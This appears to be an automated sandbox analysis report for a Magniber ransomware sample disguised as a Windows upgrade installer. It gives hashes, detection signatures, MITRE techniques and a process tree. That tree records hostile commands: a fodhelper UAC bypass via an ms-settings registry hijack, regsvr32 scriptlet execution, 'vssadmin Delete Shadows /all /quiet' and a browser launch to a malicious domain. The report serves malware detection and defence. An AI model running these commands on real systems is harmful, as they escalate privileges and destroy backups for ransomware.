magniber | 378aaaf87dd28992eb2dff01fde5698ac9d10ab28cb8cf6fb28956639261f77b

Analysis

max time kernel
149s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20230831-en
resource tags

arch:x64arch:x86image:win10v2004-20230831-enlocale:en-usos:windows10-2004-x64system
submitted
06-09-2023 02:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Win10.0_System_Upgrade_Software.msi
Size

92KB
MD5

108c1a102c58234f4cda627079df75c3
SHA1

21d6f08bd6bab100eb0b1a09c806c78577ec5b25
SHA256

a0e41e8c856a4e7a71893abf513b6ebefde78dd81b37e560a29cf25a83b9df9b
SHA512

0f4476005fa08acf212e1ec8bb548a9503a998e063e048de9cce438500f13ff5a98acac8ba4c3eeaf5572b583c6da9e2af23e23e3971675e260c628c2d6afb9b
SSDEEP

1536:hzzvCgcyW/eh+qZR1alA9Dh0naIk2maifvWxWxWrspnfp+0D80Duu7fxFa:R1cz2h+gilA1fp3LxFa

Score

10^/10

magniber ransomware

Malware Config

Signatures

Detect magniber ransomware 2 IoCs

resource	yara_rule
behavioral4/memory/2920-24-0x0000020E2A760000-0x0000020E2A763000-memory.dmp	family_magniber
behavioral4/memory/824-23-0x0000024E92F30000-0x0000024E92F3C000-memory.dmp	family_magniber

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	3780	msiexec.exe
9	3780	msiexec.exe

Loads dropped DLL 1 IoCs

pid	Process
824	MsiExec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 824 set thread context of 2920	824	MsiExec.exe	44
PID 824 set thread context of 2932	824	MsiExec.exe	43
PID 824 set thread context of 3020	824	MsiExec.exe	42

Drops file in Windows directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSIF04C.tmp	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIEBE6.tmp	msiexec.exe
File created	C:\Windows\Installer\SourceHash{28CD2D37-B8D8-4EAA-85E2-15C34C8D1D62}	msiexec.exe
File created	C:\Windows\Installer\e57ea8f.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e57ea8f.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\e57ea91.msi	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000b2ddea05c89702680000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000b2ddea050000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff000000000700010000680900b2ddea05000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1db2ddea05000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000b2ddea0500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
5684	vssadmin.exe
5728	vssadmin.exe
5848	vssadmin.exe
4288	vssadmin.exe
1672	vssadmin.exe
4964	vssadmin.exe

Modifies registry class 13 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2474409663-2236862430-1045297337-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/kn01m9fz2"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2474409663-2236862430-1045297337-1000_Classes\ms-settings\shell\open\command\DelegateExecute	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2474409663-2236862430-1045297337-1000_Classes\ms-settings\shell\open\command	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2474409663-2236862430-1045297337-1000_Classes\ms-settings\shell\open\command\DelegateExecute	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2474409663-2236862430-1045297337-1000_Classes\ms-settings\shell\open\command	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2474409663-2236862430-1045297337-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/kn01m9fz2"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2474409663-2236862430-1045297337-1000_Classes\ms-settings\shell\open\command\DelegateExecute	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2474409663-2236862430-1045297337-1000_Classes\ms-settings\shell\open\command	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2474409663-2236862430-1045297337-1000_Classes\ms-settings	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2474409663-2236862430-1045297337-1000_Classes\ms-settings\shell	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2474409663-2236862430-1045297337-1000_Classes\ms-settings\shell\open	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2474409663-2236862430-1045297337-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/kn01m9fz2"	regsvr32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2474409663-2236862430-1045297337-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe\WasEverActivated = "1"	sihost.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
4440	msiexec.exe
4440	msiexec.exe
824	MsiExec.exe
824	MsiExec.exe
4836	msedge.exe
4836	msedge.exe
2216	msedge.exe
2216	msedge.exe
4388	identity_helper.exe
4388	identity_helper.exe
5376	msedge.exe
5376	msedge.exe
5376	msedge.exe
5376	msedge.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
824	MsiExec.exe
824	MsiExec.exe
824	MsiExec.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs

pid	Process
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3780	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3780	msiexec.exe
Token: SeSecurityPrivilege	4440	msiexec.exe
Token: SeCreateTokenPrivilege	3780	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3780	msiexec.exe
Token: SeLockMemoryPrivilege	3780	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3780	msiexec.exe
Token: SeMachineAccountPrivilege	3780	msiexec.exe
Token: SeTcbPrivilege	3780	msiexec.exe
Token: SeSecurityPrivilege	3780	msiexec.exe
Token: SeTakeOwnershipPrivilege	3780	msiexec.exe
Token: SeLoadDriverPrivilege	3780	msiexec.exe
Token: SeSystemProfilePrivilege	3780	msiexec.exe
Token: SeSystemtimePrivilege	3780	msiexec.exe
Token: SeProfSingleProcessPrivilege	3780	msiexec.exe
Token: SeIncBasePriorityPrivilege	3780	msiexec.exe
Token: SeCreatePagefilePrivilege	3780	msiexec.exe
Token: SeCreatePermanentPrivilege	3780	msiexec.exe
Token: SeBackupPrivilege	3780	msiexec.exe
Token: SeRestorePrivilege	3780	msiexec.exe
Token: SeShutdownPrivilege	3780	msiexec.exe
Token: SeDebugPrivilege	3780	msiexec.exe
Token: SeAuditPrivilege	3780	msiexec.exe
Token: SeSystemEnvironmentPrivilege	3780	msiexec.exe
Token: SeChangeNotifyPrivilege	3780	msiexec.exe
Token: SeRemoteShutdownPrivilege	3780	msiexec.exe
Token: SeUndockPrivilege	3780	msiexec.exe
Token: SeSyncAgentPrivilege	3780	msiexec.exe
Token: SeEnableDelegationPrivilege	3780	msiexec.exe
Token: SeManageVolumePrivilege	3780	msiexec.exe
Token: SeImpersonatePrivilege	3780	msiexec.exe
Token: SeCreateGlobalPrivilege	3780	msiexec.exe
Token: SeBackupPrivilege	1108	vssvc.exe
Token: SeRestorePrivilege	1108	vssvc.exe
Token: SeAuditPrivilege	1108	vssvc.exe
Token: SeBackupPrivilege	4440	msiexec.exe
Token: SeRestorePrivilege	4440	msiexec.exe
Token: SeRestorePrivilege	4440	msiexec.exe
Token: SeTakeOwnershipPrivilege	4440	msiexec.exe
Token: SeRestorePrivilege	4440	msiexec.exe
Token: SeTakeOwnershipPrivilege	4440	msiexec.exe
Token: SeRestorePrivilege	4440	msiexec.exe
Token: SeTakeOwnershipPrivilege	4440	msiexec.exe
Token: SeRestorePrivilege	4440	msiexec.exe
Token: SeTakeOwnershipPrivilege	4440	msiexec.exe
Token: SeRestorePrivilege	4440	msiexec.exe
Token: SeTakeOwnershipPrivilege	4440	msiexec.exe
Token: SeRestorePrivilege	4440	msiexec.exe
Token: SeTakeOwnershipPrivilege	4440	msiexec.exe
Token: SeRestorePrivilege	4440	msiexec.exe
Token: SeTakeOwnershipPrivilege	4440	msiexec.exe
Token: SeRestorePrivilege	4440	msiexec.exe
Token: SeTakeOwnershipPrivilege	4440	msiexec.exe
Token: SeRestorePrivilege	4440	msiexec.exe
Token: SeTakeOwnershipPrivilege	4440	msiexec.exe
Token: SeRestorePrivilege	4440	msiexec.exe
Token: SeTakeOwnershipPrivilege	4440	msiexec.exe
Token: SeRestorePrivilege	4440	msiexec.exe
Token: SeTakeOwnershipPrivilege	4440	msiexec.exe
Token: SeRestorePrivilege	4440	msiexec.exe
Token: SeTakeOwnershipPrivilege	4440	msiexec.exe
Token: SeRestorePrivilege	4440	msiexec.exe
Token: SeTakeOwnershipPrivilege	4440	msiexec.exe
Token: SeRestorePrivilege	4440	msiexec.exe

Suspicious use of FindShellTrayWindow 27 IoCs

pid	Process
3780	msiexec.exe
3780	msiexec.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe
2216	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4440 wrote to memory of 2432	4440	msiexec.exe	93
PID 4440 wrote to memory of 2432	4440	msiexec.exe	93
PID 4440 wrote to memory of 824	4440	msiexec.exe	95
PID 4440 wrote to memory of 824	4440	msiexec.exe	95
PID 2920 wrote to memory of 2912	2920	sihost.exe	96
PID 2920 wrote to memory of 2912	2920	sihost.exe	96
PID 2932 wrote to memory of 2860	2932	svchost.exe	97
PID 2932 wrote to memory of 2860	2932	svchost.exe	97
PID 3020 wrote to memory of 1776	3020	taskhostw.exe	98
PID 3020 wrote to memory of 1776	3020	taskhostw.exe	98
PID 824 wrote to memory of 1600	824	MsiExec.exe	99
PID 824 wrote to memory of 1600	824	MsiExec.exe	99
PID 1600 wrote to memory of 2216	1600	cmd.exe	101
PID 1600 wrote to memory of 2216	1600	cmd.exe	101
PID 2216 wrote to memory of 5072	2216	msedge.exe	102
PID 2216 wrote to memory of 5072	2216	msedge.exe	102
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4592	2216	msedge.exe	103
PID 2216 wrote to memory of 4836	2216	msedge.exe	105
PID 2216 wrote to memory of 4836	2216	msedge.exe	105
PID 2216 wrote to memory of 436	2216	msedge.exe	106
PID 2216 wrote to memory of 436	2216	msedge.exe	106
PID 2216 wrote to memory of 436	2216	msedge.exe	106
PID 2216 wrote to memory of 436	2216	msedge.exe	106
PID 2216 wrote to memory of 436	2216	msedge.exe	106
PID 2216 wrote to memory of 436	2216	msedge.exe	106

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\Win10.0_System_Upgrade_Software.msi
1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3780

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
1⤵
- Suspicious use of WriteProcessMemory
PID:3020
- C:\Windows\system32\regsvr32.exe
  regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/q9g011n1epg
  2⤵
  - Modifies registry class
  PID:1776
- C:\Windows\system32\cmd.exe
  cmd /c "start fodhelper.exe"
  2⤵
  PID:1240
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    PID:1404
  - - C:\Windows\system32\regsvr32.exe
      "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/kn01m9fz2
      4⤵
      PID:3768
    - - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:4964
- C:\Windows\system32\cmd.exe
  cmd /c "start fodhelper.exe"
  2⤵
  PID:5388
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    PID:5496
  - - C:\Windows\system32\regsvr32.exe
      "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/kn01m9fz2
      4⤵
      PID:5592
    - - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:5684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
- Suspicious use of WriteProcessMemory
PID:2932
- C:\Windows\system32\regsvr32.exe
  regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/q9g011n1epg
  2⤵
  - Modifies registry class
  PID:2860
- C:\Windows\system32\cmd.exe
  cmd /c "start fodhelper.exe"
  2⤵
  PID:4576
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    PID:2772
  - - C:\Windows\system32\regsvr32.exe
      "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/kn01m9fz2
      4⤵
      PID:1464
    - - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:1672
- C:\Windows\system32\cmd.exe
  cmd /c "start fodhelper.exe"
  2⤵
  PID:5380
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    PID:5516
  - - C:\Windows\system32\regsvr32.exe
      "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/kn01m9fz2
      4⤵
      PID:5712
    - - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:5848

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2920
- C:\Windows\system32\regsvr32.exe
  regsvr32.exe scrobj.dll /s /u /n /i:../../../Users/Public/q9g011n1epg
  2⤵
  - Modifies registry class
  PID:2912
- C:\Windows\system32\cmd.exe
  cmd /c "start fodhelper.exe"
  2⤵
  PID:2620
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    PID:3540
  - - C:\Windows\system32\regsvr32.exe
      "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/kn01m9fz2
      4⤵
      PID:3956
    - - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:4288
- C:\Windows\system32\cmd.exe
  cmd /c "start fodhelper.exe"
  2⤵
  PID:5336
- - C:\Windows\system32\fodhelper.exe
    fodhelper.exe
    3⤵
    PID:5460
  - - C:\Windows\system32\regsvr32.exe
      "regsvr32.exe" scrobj.dll /s /u /n /i:../../../Users/Public/kn01m9fz2
      4⤵
      PID:5608
    - - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /all /quiet
        5⤵
        Interacts with shadow copies
        
        PID:5728

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4440
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:2432
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding F610428BF762E65C9CDABF0BF406D037
  2⤵
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:824
- - C:\Windows\System32\cmd.exe
    cmd /c "start microsoft-edge:http://7e2cae70924cf250ae34vvdnqack.rarefix.info/vvdnqack^&2^&38774828^&49^&339^&2219041
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1600
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument microsoft-edge:http://7e2cae70924cf250ae34vvdnqack.rarefix.info/vvdnqack&2&38774828&49&339&2219041
      4⤵
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:2216
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffc160a46f8,0x7ffc160a4708,0x7ffc160a4718
        5⤵
        
        PID:5072
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2016,8178955507092459165,16662902492616914407,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2032 /prefetch:2
        5⤵
        
        PID:4592
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2016,8178955507092459165,16662902492616914407,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 /prefetch:3
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4836
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2016,8178955507092459165,16662902492616914407,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2948 /prefetch:8
        5⤵
        
        PID:436
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,8178955507092459165,16662902492616914407,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3356 /prefetch:1
        5⤵
        
        PID:4396
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,8178955507092459165,16662902492616914407,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3364 /prefetch:1
        5⤵
        
        PID:2644
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,8178955507092459165,16662902492616914407,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4128 /prefetch:1
        5⤵
        
        PID:1404
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
